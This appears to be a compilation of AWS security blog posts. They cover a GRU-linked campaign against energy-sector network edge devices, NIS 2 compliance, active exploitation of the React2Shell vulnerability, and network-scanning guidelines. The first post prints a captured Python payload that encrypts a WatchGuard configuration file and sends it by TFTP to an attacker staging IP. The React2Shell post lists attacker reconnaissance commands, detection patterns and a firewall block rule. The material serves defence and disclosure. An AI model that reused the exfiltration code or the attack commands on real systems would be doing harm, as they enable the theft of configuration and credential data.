As we conclude 2025, Amazon Threat Intelligence is sharing insights about a years-long Russian state-sponsored campaign that represents a significant evolution in critical infrastructure targeting: a tactical pivot where what appear to be misconfigured customer network edge devices became the primary initial access vector, while vulnerability exploitation activity declined. This tactical adaptation enables the same operational outcomes, credential harvesting, and lateral movement into victim organizations’ online services and infrastructure, while reducing the actor’s exposure and resource expenditure.

Going into 2026, organizations must prioritize securing their network edge devices and monitoring for credential replay attacks to defend against this persistent threat. Based on infrastructure overlaps with known Sandworm (also known as APT44 and Seashell Blizzard) operations observed in Amazon’s telemetry and consistent targeting patterns, we assess with high confidence this activity cluster is associated with Russia’s Main Intelligence Directorate (GRU). The campaign demonstrates sustained focus on Western critical infrastructure, particularly the energy sector, with operations spanning 2021 through the present day.

Campaign scope and targeting: Amazon Threat Intelligence observed sustained targeting of global infrastructure between 2021-2025, with particular focus on the energy sector. The campaign demonstrates a clear evolution in tactics.

Timeline:

• 2021-2022: WatchGuard exploitation (CVE-2022-26318) detected by Amazon MadPot; misconfigured device targeting observed
• 2022-2023: Confluence vulnerability exploitation (CVE-2021-26084, CVE-2023-22518); continued misconfigured device targeting
• 2024: Veeam exploitation (CVE-2023-27532); continued misconfigured device targeting
• 2025: Sustained targeting of misconfigured customer network edge device targeting; decline in N-day/zero-day exploitation activity

Primary targets:

• Energy sector organizations across Western nations
• Critical infrastructure providers in North America and Europe
• Organizations with cloud-hosted network infrastructure

Commonly targeted resources:

• Enterprise routers and routing infrastructure
• VPN concentrators and remote access gateways
• Network management appliances
• Collaboration and wiki platforms
• Cloud-based project management systems

Targeting the “low-hanging fruit” of likely misconfigured customer devices with exposed management interfaces achieves the same strategic objectives, which is persistent access to critical infrastructure networks and credential harvesting for accessing victim organizations’ online services. The threat actor’s shift in operational tempo represents a concerning evolution: while customer misconfiguration targeting has been ongoing since at least 2022, the actor maintained sustained focus on this activity in 2025 while reducing investment in zero-day and N-day exploitation. The actor accomplishes this while significantly reducing the risk of exposing their operations through more detectable vulnerability exploitation activity.

While we did not directly observe the victim organization credential extraction mechanism, multiple indicators point to packet capture and traffic analysis as the primary collection method:

1. Temporal analysis: Time gap between device compromise and authentication attempts against victim services suggests passive collection rather than active credential theft
2. Credential type: Use of victim organization credentials (not device credentials) for accessing online services indicates interception of user authentication traffic
3. Known tradecraft: Sandworm operations consistently involve network traffic interception capabilities
4. Strategic positioning: Targeting of customer network edge devices specifically positions the actor to intercept credentials in transit

Compromise of infrastructure hosted on AWS: Amazon’s telemetry reveals coordinated operations against customer network edge devices hosted on AWS. This was not due to a weakness in AWS; these appear to be customer misconfigured devices. Network connection analysis shows actor-controlled IP addresses establishing persistent connections to compromised EC2 instances operating customers’ network appliance software. Analysis revealed persistent connections consistent with interactive access and data retrieval across multiple affected instances.

Credential replay operations: Beyond direct victim infrastructure compromise, we observed systematic credential replay attacks against victim organizations’ online services. In observed instances, the actor compromised customer network edge devices hosted on AWS, then subsequently attempted authentication using credentials associated with the victim organization’s domain against their online services. While these specific attempts were unsuccessful, the pattern of device compromise followed by authentication attempts using victim credentials supports our assessment that the actor harvests credentials from compromised customer network infrastructure for replay against target organizations’ online services. Actor infrastructure accessed victims’ authentication endpoints for multiple organizations across critical sectors through 2025, including:

• Energy sector: Electric utility organizations, energy providers, and managed security service providers specializing in energy sector clients
• Technology/cloud services: Collaboration platforms, source code repositories
• Telecommunications: Telecom providers across multiple regions

Geographic distribution: The targeting demonstrates global reach:

• North America
• Europe (Western and Eastern)
• Middle East
• The targeting demonstrates sustained focus on the energy sector supply chain, including both direct operators and third-party service providers with access to critical infrastructure networks.

  Campaign flow:

1. Compromise customer network edge device hosted on AWS.
2. Leverage native packet capture capability.
3. Harvest credentials from intercepted traffic.
4. Replay credentials against victim organizations’ online services and infrastructure.
5. Establish persistent access for lateral movement.

Amazon Threat Intelligence identified threat actor infrastructure overlap with group Bitdefender tracks as “Curly COMrades.” We assess these may represent complementary operations within a broader GRU campaign:

• Bitdefender’s reporting: Post-compromise host-based tradecraft (Hyper-V abuse for EDR evasion, custom implants CurlyShell/CurlCat)
• Amazon’s telemetry: Initial access vectors and cloud pivot methodology

This potential operational division, where one cluster focuses on network access and initial compromise while another handles host-based persistence and evasion, aligns with GRU operational patterns of specialized subclusters supporting broader campaign objectives.

Amazon remains committed to helping protect customers and the broader internet ecosystem by actively investigating and disrupting sophisticated threat actors.

Immediate response actions:

• Identified and notified affected customers of compromised network appliance resources
• Enabled immediate remediation of compromised EC2 instances
• Shared intelligence with industry partners and affected vendors
• Reported observations to network appliance vendors to help support security investigations

Disruption impact: Through coordinated efforts, since our discovery of this activity, we have disrupted active threat actor operations and reduced the attack surface available to this threat activity subcluster. We will continue working with the security community to share intelligence and collectively defend against state-sponsored threats targeting critical infrastructure.

Organizations should proactively monitor for evidence of this activity pattern:

1. Network edge device audit

• Audit all network edge devices for unexpected packet capture files or utilities.
• Review device configurations for exposed management interfaces.
• Implement network segmentation to isolate management interfaces.
• Enforce strong authentication (eliminate default credentials, implement MFA).

2. Credential replay detection

• Review authentication logs for credential reuse between network device management interfaces and online services.
• Monitor for authentication attempts from unexpected geographic locations.
• Implement anomaly detection for authentication patterns across your organization’s online services.
• Review extended time windows following any suspected device compromise for delayed credential replay attempts.

3. Access monitoring

• Monitor for interactive sessions to router/appliance administration portals from unexpected source IPs.
• Examine whether network device management interfaces are inadvertently exposed to the internet.
• Audit for plain text protocol usage (Telnet, HTTP, unencrypted SNMP) that could expose credentials.

4. IOC review
Energy sector organizations and critical infrastructure operators should prioritize reviewing access logs for authentication attempts from the IOCs listed below.

For AWS environments, implement these protective measures:

Identity and access management:

• Manage access to AWS resources and APIs using identity federation with an identity provider and IAM roles whenever possible.
• For more information, see Creating IAM policies in the IAM User Guide.

Network security:

• Implement the least permissive rules for your security groups.
• Isolate management interfaces in private subnets with bastion host access.
• Enable VPC Flow Logs for network traffic analysis.

Vulnerability management:

• Use Amazon Inspector to automatically discover and scan Amazon EC2 instances for software vulnerabilities and unintended network exposure.
• For more information, see the Amazon Inspector User Guide.
• Regularly patch, update, and secure the operating system and applications on your instances.

Detection and monitoring:

• Enable AWS CloudTrail for API activity monitoring.
• Configure Amazon GuardDuty for threat detection.
• Review authentication logs for credential replay patterns.

Indicators of Compromise (IOCs)

IOC Value	IOC Type	First Seen	Last Seen	Annotation
91.99.25[.]54	IPv4	2025-07-02	Present	Compromised legitimate server used to proxy threat actor traffic
185.66.141[.]145	IPv4	2025-01-10	2025-08-22	Compromised legitimate server used to proxy threat actor traffic
51.91.101[.]177	IPv4	2024-02-01	2024-08-28	Compromised legitimate server used to proxy threat actor traffic
212.47.226[.]64	IPv4	2024-10-10	2024-11-06	Compromised legitimate server used to proxy threat actor traffic
213.152.3[.]110	IPv4	2023-05-31	2024-09-23	Compromised legitimate server used to proxy threat actor traffic
145.239.195[.]220	IPv4	2021-08-12	2023-05-29	Compromised legitimate server used to proxy threat actor traffic
103.11.190[.]99	IPv4	2021-10-21	2023-04-02	Compromised legitimate staging server used to exfiltrate WatchGuard configuration files
217.153.191[.]190	IPv4	2023-06-10	2025-12-08	Long-term infrastructure used for reconnaissance and targeting

Note: All identified IPs are compromised legitimate servers that may serve multiple purposes for the actor or continue legitimate operations. Organizations should investigate context around any matches rather than automatically blocking. We observed these IPs specifically accessing router management interfaces and attempting authentication to online services during the timeframes listed.

The following payload was captured by Amazon MadPot during the 2022 WatchGuard exploitation campaign:

from cryptography.fernet import Fernet
import subprocess
import os

key = ‘uVrZfUGeecCBHhFmn1Zu6ctIQTwkFiW4LGCmVcd6Yrk='

with open('/etc/wg/config.xml’, ‘rb’) as config_file:
buf = config_file.read()

fernet = Fernet(key)
enc_buf = fernet.encrypt(buf)

with open('/tmp/enc_config.xml’, ‘wb’) as encrypted_config:
encrypted_config.write(enc_buf)

subprocess.check_output([‘tftp’, '-p’, '-l’, '/tmp/enc_config.xml’, '-r’,
'[REDACTED].bin’, ‘103.11.190[.]99'])
os.remove('/tmp/enc_config.xml’)

This payload demonstrates the actor’s methodology: encrypt stolen configuration data, exfiltrate via TFTP to compromised staging infrastructure, and remove forensic evidence.

August 31, 2023: The date this blog post was first published.

---

Over the past few decades, digital technologies have brought tremendous benefits to our societies, governments, businesses, and everyday lives. The increasing reliance on digital technologies comes with a broad responsibility for society, companies, and governments to ensure that security remains robust and uncompromising, regardless of the use case.

At Amazon Web Services (AWS), every employee is responsible for ensuring that security is an integral component of every facet of the business. This commitment positions AWS well as the cybersecurity regulatory landscape continues to evolve and mature across Europe.

The Directive on Measures for a High Common Level of Cybersecurity Across the Union (NIS 2), formally adopted by the European Parliament and the Council of the European Union (EU) as Directive (EU) 2022/2555 and applicable across the EU since October 2024, is a prime example of this evolution. As of December 2025, most EU Member States have transposed NIS 2 into national law, though full enforcement timelines now extend into 2025–2026 in several jurisdictions as the transition to the new regime continues. National implementation timelines and requirements vary across EU Member States, and the Directive aims to strengthen cybersecurity across the EU.

AWS is excited to help customers become more resilient, and we look forward to even closer cooperation with national cybersecurity authorities to raise the bar on cybersecurity across Europe. Building society’s trust in the online environment is key to harnessing the power of innovation for social and economic development. It’s also one of our core Leadership Principles: Success and scale bring broad responsibility.

NIS 2 seeks to ensure that entities mitigate the risks posed by cyber threats, minimize the impact of incidents, and protect the continuity of essential and important services in the EU.

NIS 2 establishes a strengthened EU-wide framework for cybersecurity, imposing risk-based and proportionate obligations on essential and important entities across critical sectors. It mandates a set of measures—including governance, incident management, business continuity, supply chain security, access controls, and cryptography—to ensure effective protection of network and information systems tailored to each entity’s specific risk profile, size, and sector. These measures must cover the full cybersecurity lifecycle (identification, protection, detection, response, recovery, and communication), with requirements for regular testing, supply chain risk management, and reporting significant incidents to national authorities.

In several countries, aspects of AWS offerings are already part of the national critical infrastructure. For example, in Germany, Amazon Elastic Compute Cloud (Amazon EC2) and Amazon CloudFront are in scope for the KRITIS regulation. For several years, AWS has fulfilled its obligations to secure these services, run audits related to national critical infrastructure, and have established channels for exchanging security information with the German Federal Office for Information Security (BSI) KRITIS office. AWS is also part of the UP KRITIS initiative, a cooperative effort between industry and the German Government to set industry standards.

AWS will continue to support customers in implementing resilient solutions, in accordance with the AWS Shared Responsibility Model. AWS supports customers in aligning with the NIS 2 Directive (EU) 2022/2555 and its Implementing Regulation (EU) 2024/2690 through services, global infrastructure, and independently audited compliance programs that enable essential and important entities to address a wide range of NIS 2 obligations, from governance, risk management, and incident reporting to business continuity and supply chain security, and cryptographic controls.

AWS has been helping customers enhance their resilience and incident response capabilities long before NIS 2 was introduced. Our core infrastructure is designed to satisfy the security requirements of the military, global banks, and other highly sensitive organizations.

AWS provides information and communication technology services and building blocks that businesses, public authorities, universities, and individuals can use to become more secure, innovative, and responsive to their own needs and the needs of their customers. Security and compliance remain a shared responsibility between AWS and the customer. We make sure that the AWS cloud infrastructure complies with applicable regulatory requirements and good practices for cloud providers, and customers remain responsible for building compliant workloads in the cloud.

AWS offers over 150 independently audited security standards compliance certifications and attestations worldwide such as ISO 27001, ISO 22301, ISO 20000, ISO 27017, and System and Organization Controls (SOC) 2. The following are some examples of European certifications and attestations that we’ve achieved:

• C5 – provides a wide-ranging control framework for establishing and evidencing the security of cloud operations in Germany.
• ENS High – comprises principles for adequate protection applicable to government agencies and public organizations in Spain. The CCN has aligned ENS (through its PCE-NIS2 profile in CCN-STIC Guide 892) as a certifiable route to NIS 2 compliance in Spain, with advisory support through ENISA’s mappings and European Commission (EC) transposition guidelines.
• HDS – demonstrates an adequate framework for technical and governance measures to secure and protect personal health data, governed by French law.
• Pinakes – provides a rating framework intended to manage and monitor the cybersecurity controls of service providers upon which Spanish financial entities depend.

These and other AWS Compliance Programs help customers understand the robust controls in place at AWS to help ensure the security and compliance of the cloud. Through dedicated teams, we’re prepared to provide assurance about the approach that AWS has taken to operational resilience and to help customers achieve assurance about the security and resiliency of their workloads. AWS Artifact provides on-demand access to these security and compliance reports and many more.

For security in the cloud, it’s crucial for our customers to make security by design and security by default central tenets of product development. Customers can use the AWS Well-Architected Framework to help build secure, high-performing, resilient, and efficient infrastructure for a variety of applications and workloads.

Customers that use the AWS Cloud Adoption Framework (AWS CAF) can improve cloud readiness by identifying and prioritizing transformation opportunities. These foundational resources help customers secure regulated workloads. AWS Security Hub provides customers with a comprehensive view of their security state on AWS and helps them check their environments against industry standards and good practices.

With regards to the cybersecurity risk management measures and reporting obligations that NIS 2 mandates, existing AWS service offerings can help customers fulfil their part of the shared responsibility model and comply with current national implementations of NIS 2. AWS CloudTrail provides centralized audit logging, while Amazon CloudWatch offers metrics, alarms, and application log analysis. With AWS Config, customers can continually assess, audit, and evaluate the configurations and relationships of selected resources on AWS, on premises, and on other clouds. Furthermore, AWS Whitepapers, such as the AWS Security Incident Response Guide, help customers understand, implement, and manage fundamental security concepts in their cloud architecture.

The updated NIS 2 Considerations for AWS Customers guide (December 2025) features a mapping table that links the Annex requirements to specific AWS capabilities, empowering entities to interpret obligations and deploy proportionate controls efficiently. Customers can use services such as Security Hub for centralized security alerts, AWS Config for resource inventory, AWS Audit Manager for automated evidence collection, Amazon Inspector for vulnerability management, and AWS Resilience Hub for resilience assessments.

NIS 2 foresees the development and implementation of comprehensive cybersecurity awareness training programs for management bodies and employees. At AWS, we provide various training programs at no cost to the public to increase awareness on cybersecurity, such as the AWS Security Learning Hub, including phishing simulations, cloud security fundamentals, and role-based modules, available at no cost to AWS customers. Customers can deliver organization-wide training using AWS Skill Builder modules on phishing, cyber hygiene, and secure cloud practices, assign role-specific paths, and track completion across accounts using AWS Organizations.

At Amazon, we strive to be the world’s most customer-centric company. For AWS Security Assurance, that means having teams that continuously engage with authorities to understand and exceed regulatory and customer obligations on behalf of customers. This is one way that we raise the security bar in Europe. At the same time, we recommend that national regulators carefully assess potentially conflicting, overlapping, or contradictory measures.

We also cooperate with cybersecurity agencies around the globe because we recognize the importance of their role in keeping the world safe. To that end, we have built the AWS Global Cloud Security Program (GCSP) to provide agencies with a direct and consistent line of communication to the AWS Security team. Two examples of GCSP members are the Dutch National Cyber Security Centrum (NCSC-NL), with whom we signed a cooperation agreement in May 2023, and the Italian National Cybersecurity Agency (ACN).

In Spain, AWS signed a strategic collaboration agreement (MoU) with the National Intelligence Center and National Cryptologic Center (CNI-CCN) in August 2023 to promote cybersecurity and innovation in the public sector through AWS Cloud technology. As a result, the CCN joined the GCSP, and the partnership has produced eight STIC guides (Series 887) on topics including hardening, incident response, monitoring, for multi-cloud and hybrid environments. The partnership also produced the ENS Landing Zone template (CCN-STIC-887 Anexo A), which customers can download from the CCN website to deploy ENS-compliant cloud environments. In addition to ENS High accreditation, more than 25 AWS cloud services have been accredited by the CCN under the Security Catalog of Products and Services (CPSTIC) for processing sensitive and classified workloads in Spain.

Together, we will continue to work on cybersecurity initiatives and strengthen the cybersecurity posture across the EU. With the war in Ukraine, we have experienced how important such a collaboration can be. AWS has played an important role in helping Ukraine’s government maintain continuity and provide critical services to citizens since the onset of the war.

At AWS, we will continue to provide key stakeholders with greater insights into how we help customers tackle their most challenging cybersecurity issues and provide opportunities to deep dive into what we’re building. We look forward to continuing our work with authorities, agencies and, most importantly, our customers to provide for the best solutions and raise the bar on cybersecurity and resilience across the EU and globally.

The updated NIS 2 Considerations for AWS Customers guide (December 2025) and the AWS Compliance Center serve as central hubs for the latest resources, including mappings to ENISA Technical Implementation Guidance (26 June 2025), whitepapers, and audit-ready documentation. Entities can begin with AWS Control Tower or Landing Zone Accelerator to establish secure baselines, then apply the Well-Architected Framework (Security and Reliability Pillars) to design auditable, resilient architectures. For organizations seeking external expertise, AWS Marketplace partners offer specialized support in gap analysis, resilience testing, and ENISA mapping implementation.

If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.

Within hours of the public disclosure of CVE-2025-55182 (React2Shell) on December 3, 2025, Amazon threat intelligence teams observed active exploitation attempts by multiple China state-nexus threat groups, including Earth Lamia and Jackpot Panda. This critical vulnerability in React Server Components has a maximum Common Vulnerability Scoring System (CVSS) score of 10.0 and affects React versions 19.x and Next.js versions 15.x and 16.x when using App Router. While this vulnerability doesn’t affect AWS services, we are sharing this threat intelligence to help customers running React or Next.js applications in their own environments take immediate action.

China continues to be the most prolific source of state-sponsored cyber threat activity, with threat actors routinely operationalizing public exploits within hours or days of disclosure. Through monitoring in our AWS MadPot honeypot infrastructure, Amazon threat intelligence teams have identified both known groups and previously untracked threat clusters attempting to exploit CVE-2025-55182. AWS has deployed multiple layers of automated protection through Sonaris active defense, AWS WAF managed rules (AWSManagedRulesKnownBadInputsRuleSet version 1.24 or higher), and perimeter security controls. However, these protections aren’t substitutes for patching. Regardless of whether customers are using a fully managed AWS service, if customers are running an affected version of React or Next.js in their environments, they should update to the latest patched versions immediately. Customers running React or Next.js in their own environments (Amazon Elastic Compute Cloud (Amazon EC2), containers, and so on) must update vulnerable applications immediately.

Discovered by Lachlan Davidson and disclosed to the React Team on November 29, 2025, CVE-2025-55182 is an unsafe deserialization vulnerability in React Server Components. The vulnerability was named React2Shell by security researchers.

Key facts:

• CVSS score: 10.0 (Maximum severity)
• Attack vector: Unauthenticated remote code execution
• Affected components: React Server components in React 19.x and Next.js 15.x/16.x with App Router
• Critical detail: Applications are vulnerable even if they don’t explicitly use server functions, as long as they support React Server Components

The vulnerability was responsibly disclosed by Vercel to Meta and major cloud providers, including AWS, enabling coordinated patching and protection deployment prior to the public disclosure of the vulnerability.

Our analysis of exploitation attempts in AWS MadPot honeypot infrastructure has identified exploitation activity from IP addresses and infrastructure historically linked to known China state-nexus threat actors. Because of shared anonymization infrastructure among Chinese threat groups, definitive attribution is challenging:

• Infrastructure associated with Earth Lamia: Earth Lamia is a China-nexus cyber threat actor known for exploiting web application vulnerabilities to target organizations across Latin America, the Middle East, and Southeast Asia. The group has historically targeted sectors across financial services, logistics, retail, IT companies, universities, and government organizations.
• Infrastructure associated with Jackpot Panda: Jackpot Panda is a China-nexus cyber threat actor primarily targeting entities in East and Southeast Asia. The activity likely aligns to collection priorities pertaining to domestic security and corruption concerns.
• Shared anonymization infrastructure: Large-scale anonymization networks have become a defining characteristic of Chinese cyber operations, enabling reconnaissance, exploitation, and command-and-control activities while obscuring attribution. These networks are used by multiple threat groups simultaneously, making it difficult to attribute specific activities to individual actors.

This is in addition to many other unattributed threat groups that share commonality with Chinese-nexus cyber threat activity. The majority of observed autonomous system numbers (ASNs) for unattributed activity are associated with Chinese infrastructure, further confirming that most exploitation activity originates from that region. The speed at which these groups operationalized public proof-of-concept (PoC) exploits underscores a critical reality: when PoCs hit the internet, sophisticated threat actors are quick to weaponize them.

Threat actors are using both automated scanning tools and individual PoC exploits. Some observed automated tools have capabilities to deter detection such as user agent randomization. These groups aren’t limiting their activities to CVE-2025-55182. Amazon threat intelligence teams observed them simultaneously exploiting other recent N-day vulnerabilities, including CVE-2025-1338. This demonstrates a systematic approach: threat actors monitor for new vulnerability disclosures, rapidly integrate public exploits into their scanning infrastructure, and conduct broad campaigns across multiple Common Vulnerabilities and Exposures (CVEs) simultaneously to maximize their chances of finding vulnerable targets.

A notable observation from our investigation is that many threat actors are attempting to use public PoCs that don’t actually work in real-world scenarios. The GitHub security community has identified multiple PoCs that demonstrate fundamental misunderstandings of the vulnerability:

• Some of the example exploitable applications explicitly register dangerous modules (fs, child_process, vm) in the server manifest, which is something real applications should never do.
• Several repositories contain code that would remain vulnerable even after patching to safe versions.

Despite the technical inadequacy of many public PoCs, threat actors are still attempting to use them. This demonstrates several important patterns:

• Speed over accuracy: Threat actors prioritize rapid operationalization over thorough testing, attempting to exploit targets with any available tool.
• Volume-based approach: By scanning broadly with multiple PoCs (even non-functional ones), actors hope to find the small percentage of vulnerable configurations.
• Low barrier to entry: The availability of public exploits, even flawed ones, enables less sophisticated actors to participate in exploitation campaigns.
• Noise generation: Failed exploitation attempts create significant noise in logs, potentially masking more sophisticated attacks.

Analysis of data from MadPot reveals the persistent nature of these exploitation attempts. In one notable example, an unattributed threat cluster associated with IP address 183[.]6.80.214 spent nearly an hour (from 2:30:17 AM to 3:22:48 AM UTC on December 4, 2025) systematically troubleshooting exploitation attempts:

• 116 total requests across 52 minutes
• Attempted multiple exploit payloads
• Tried executing Linux commands (whoami, id)
• Attempted file writes to /tmp/pwned.txt
• Tried to read/etc/passwd

This behavior demonstrates that threat actors aren’t just running automated scans, but are actively debugging and refining their exploitation techniques against live targets.

AWS deployed multiple layers of protection to help safeguard customers:

• Sonaris Active Defense

  Our Sonaris threat intelligence system automatically detected and restricted malicious scanning attempts targeting this vulnerability. Sonaris analyzes over 200 billion events per minute and integrates threat intelligence from our MadPot honeypot network to identify and block exploitation attempts in real time.

• MadPot Intelligence

  Our global honeypot system provided early detection of exploitation attempts, enabling rapid response and threat analysis.

• AWS WAF Managed Rules

  The default version (1.24 or higher) of the AWS WAF AWSManagedRulesKnownBadInputsRuleSet now includes updated rules for CVE-2025-55182, providing automatic protection for customers using AWS WAF with managed rule sets.

• AWS Network Firewall Rule Options

  Managed

  The Active Threat Defense managed rules for AWS Network Firewall are automatically updated with the latest threat intelligence from MadPot so customers can get proactive protection for their VPCs.

  Custom

  The following AWS Network Firewall custom L7 stateful rule blocks HTTP connections made directly to IP addresses on non-standard ports (any port other than 80). This pattern has been commonly observed by Amazon Threat Intelligence in post-exploitation scenarios where malware downloads additional payloads or establishes command-and-control communications by connecting directly to IP addresses rather than domain names, often on high-numbered ports to evade detection.

  While not necessarily specific to React2Shell, many React2Shell exploits include this behavior, which is usually anomalous in most production environments. You can choose to block and log these requests or simply alert on them so you can investigate systems that are triggering the rule to determine whether they have been affected.

  reject http $HOME_NET any -> any !80 (http.host; content:"."; pcre:"/^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$/"; msg:"Direct to IP HTTP on non-standard port (common post exploitation malware download technique)"; flow:to_server; sid:2025121801;)

• Amazon Threat Intelligence

  Amazon threat intelligence teams are actively investigating CVE-2025-55182 exploitation attempts to protect AWS infrastructure. If we identify signs that your infrastructure has been compromised, we will notify you through AWS Support. However, application-layer vulnerabilities are difficult to detect comprehensively from network telemetry alone. Do not wait for notification from AWS.
  Important: These protections are not substitutes for patching. Customers running React or Next.js in their own environments (EC2, containers, etc.) must update vulnerable applications immediately.

1. Update vulnerable React/Next.js applications. See the AWS Security Bulletin (https://aws.amazon.com/security/security-bulletins/AWS-2025-030/) for affected and patched versions.
2. Deploy the custom AWS WAF rule as interim protection (rule provided in the security bulletin).
3. Review application and web server logs for suspicious activity.
4. Look for POST requests with next-action or rsc-action-id headers.
5. Check for unexpected process execution or file modifications on application servers.

If you believe your application may have been compromised, open an AWS Support case immediately for assistance with incident response.
Note: Customers using managed AWS services are not affected and require no action.

• HTTP POST requests to application endpoints with next-action or rsc-action-id headers
• Request bodies containing $@ patterns
• Request bodies containing "status":"resolved_model" patterns

• Unexpected execution of reconnaissance commands (whoami, id, uname)
• Attempts to read /etc/passwd
• Suspicious file writes to /tmp/ directory (for example, pwned.txt)
• New processes spawned by Node.js/React application processes

IP Address, Date of Activity, Attribution
206[.]237.3.150, 2025-12-04, Earth Lamia
45[.]77.33.136, 2025-12-04, Jackpot Panda
143[.]198.92.82, 2025-12-04, Anonymization Network
183[.]6.80.214, 2025-12-04, Unattributed threat cluster

• AWS Security Bulletin: CVE-2025-55182 https://aws.amazon.com/security/security-bulletins/AWS-2025-030/
• AWS WAF Documentation: https://docs.aws.amazon.com/waf/
• React Team Security Advisory: https://react.dev/blog/2025/12/03/react-server-components-security-advisory

Amazon Web Services (AWS) is introducing guidelines for network scanning of customer workloads. By following these guidelines, conforming scanners will collect more accurate data, minimize abuse reports, and help improve the security of the internet for everyone.

Network scanning is a practice in modern IT environments that can be used for either legitimate security needs or abused for malicious activity. On the legitimate side, organizations conduct network scans to maintain accurate inventories of their assets, verify security configurations, and identify potential vulnerabilities or outdated software versions that require attention. Security teams, system administrators, and authorized third-party security researchers use scanning in their standard toolkit for collecting security posture data. However, scanning is also performed by threat actors attempting to enumerate systems, discover weaknesses, or gather intelligence for attacks. Distinguishing between legitimate scanning activity and potentially harmful reconnaissance is a constant challenge for security operations.

When software vulnerabilities are found through scanning a given system, it’s particularly important that the scanner is well-intentioned. If a software vulnerability is discovered and attacked by a threat actor, it could allow unauthorized access to an organization’s IT systems. Organizations must effectively manage their software vulnerabilities to protect themselves from ransomware, data theft, operational issues, and regulatory penalties. At the same time, the scale of known vulnerabilities is growing rapidly, at a rate of 21% per year for the past 10 years as reported in the NIST National Vulnerability Database.

With these factors at play, network scanners need to scan and manage the collected security data with care. There are a variety of parties interested in security data, and each group uses the data differently. If security data is discovered and abused by threat actors, then system compromises, ransomware, and denial of service can create disruption and costs for system owners. With the exponential growth of data centers and connected software workloads providing critical services across energy, manufacturing, healthcare, government, education, finance, and transportation sectors, the impact of security data in the wrong hands can have significant real-world consequences.

Multiple parties have vested interests in security data, including at least the following groups:

• Organizations want to understand their asset inventories and patch vulnerabilities quickly to protect their assets.
• Program auditors want evidence that organizations have robust controls in place to manage their infrastructure.
• Cyber insurance providers want risk evaluations of organizational security posture.
• Investors performing due diligence want to understand the cyber risk profile of an organization.
• Security researchers want to identify risks and notify organizations to take action.
• Threat actors want to exploit unpatched vulnerabilities and weaknesses for unauthorized access.

The sensitive nature of security data creates a complex ecosystem of competing interests, where an organization must maintain different levels of data access for different parties.

We’ve described both the legitimate and malicious uses of network scanning, and the different parties that have an interest in the resulting data. We’re introducing these guidelines because we need to protect our networks and our customers; and telling the difference between these parties is challenging. There’s no single standard for the identification of network scanners on the internet. As such, system owners and defenders often don’t know who is scanning their systems. Each system owner is independently responsible for managing identification of these different parties. Network scanners might use unique methods to identify themselves, such as reverse DNS, custom user agents, or dedicated network ranges. In the case of malicious actors, they might attempt to evade identification altogether. This degree of identity variance makes it difficult for system owners to know the motivation of parties performing network scanning.

To address this challenge, we’re introducing behavioral guidelines for network scanning. AWS seeks to provide network security for every customer; our goal is to screen out abusive scanning that doesn’t meet these guidelines. Parties that broadly network scan can follow these guidelines to receive more reliable data from AWS IP space. Organizations running on AWS receive a higher degree of assurance in their risk management.

When network scanning is managed according to these guidelines, it helps system owners strengthen their defenses and improve visibility across their digital ecosystem. For example, Amazon Inspector can detect software vulnerabilities and prioritize remediation efforts while conforming to these guidelines. Similarly, partners in AWS Marketplace use these guidelines to collect internet-wide signals and help organizations understand and manage cyber risk.

“When organizations have clear, data-driven visibility into their own security posture and that of their third parties, they can make faster, smarter decisions to reduce cyber risk across the ecosystem.” – Dave Casion, CTO, Bitsight

Of course, security works better together, so AWS customers can report abusive scanning to our Trust & Safety Center as type Network Activity > Port Scanning and Intrusion Attempts. Each report helps improve the collective protection against malicious use of security data.

To help ensure that legitimate network scanners can clearly differentiate themselves from threat actors, AWS offers the following guidance for scanning customer workloads. This guidance on network scanning complements the policies on penetration testing and vulnerability reporting. AWS reserves the right to limit or block traffic that appears non-compliant with these guidelines. A conforming scanner adheres to the following practices:

Observational

• Perform no actions that attempt to create, modify, or delete resources or data on discovered endpoints.
• Respect the integrity of targeted systems. Scans cause no degradation to system function and cause no change in system configuration.
• Examples of non-mutating scanning include:
  • Initiating and completing a TCP handshake
  • Retrieving the banner from an SSH service

Identifiable

• Provide transparency by publishing sources of scanning activity.
• Implement a verifiable process for confirming the authenticity of scanning activities.
• Examples of identifiable scanning include:
  • Supporting reverse DNS lookups to one of your organization’s public DNS zones for scanning Ips.
  • Publishing scanning IP ranges, organized by types of requests (such as service existence, vulnerability checks).
  • If HTTP scanning, have meaningful content in user agent strings (such as names from your public DNS zones, URL for opt-out)

Cooperative

• Limit scan rates to minimize impact on target systems.
• Provide an opt-out mechanism for verified resource owners to request cessation of scanning activity.
• Honor opt-out requests within a reasonable response period.
• Examples of cooperative scanning include:
  • Limit scanning to one service transaction per second per destination service.
  • Respect site settings as expressed in robots.txt and security.txt and other such industry standards for expressing site owner intent.

Confidential

• Maintain secure infrastructure and data handling practices as reflected by industry-standard certifications such as SOC2.
• Ensure no unauthenticated or unauthorized access to collected scan data.
• Implement user identification and verification processes.

See the full guidance on AWS.

As more network scanners follow this guidance, system owners will benefit from reduced risk to their confidentiality, integrity, and availability. Legitimate network scanners will send a clear signal of their intention and improve their visibility quality. With the constantly changing state of networking, we expect that this guidance will evolve along with technical controls over time. We look forward to input from customers, system owners, network scanners and others to continue improving security posture across AWS and the internet.

If you have feedback about this post, submit comments in the Comments section below or contact AWS Support.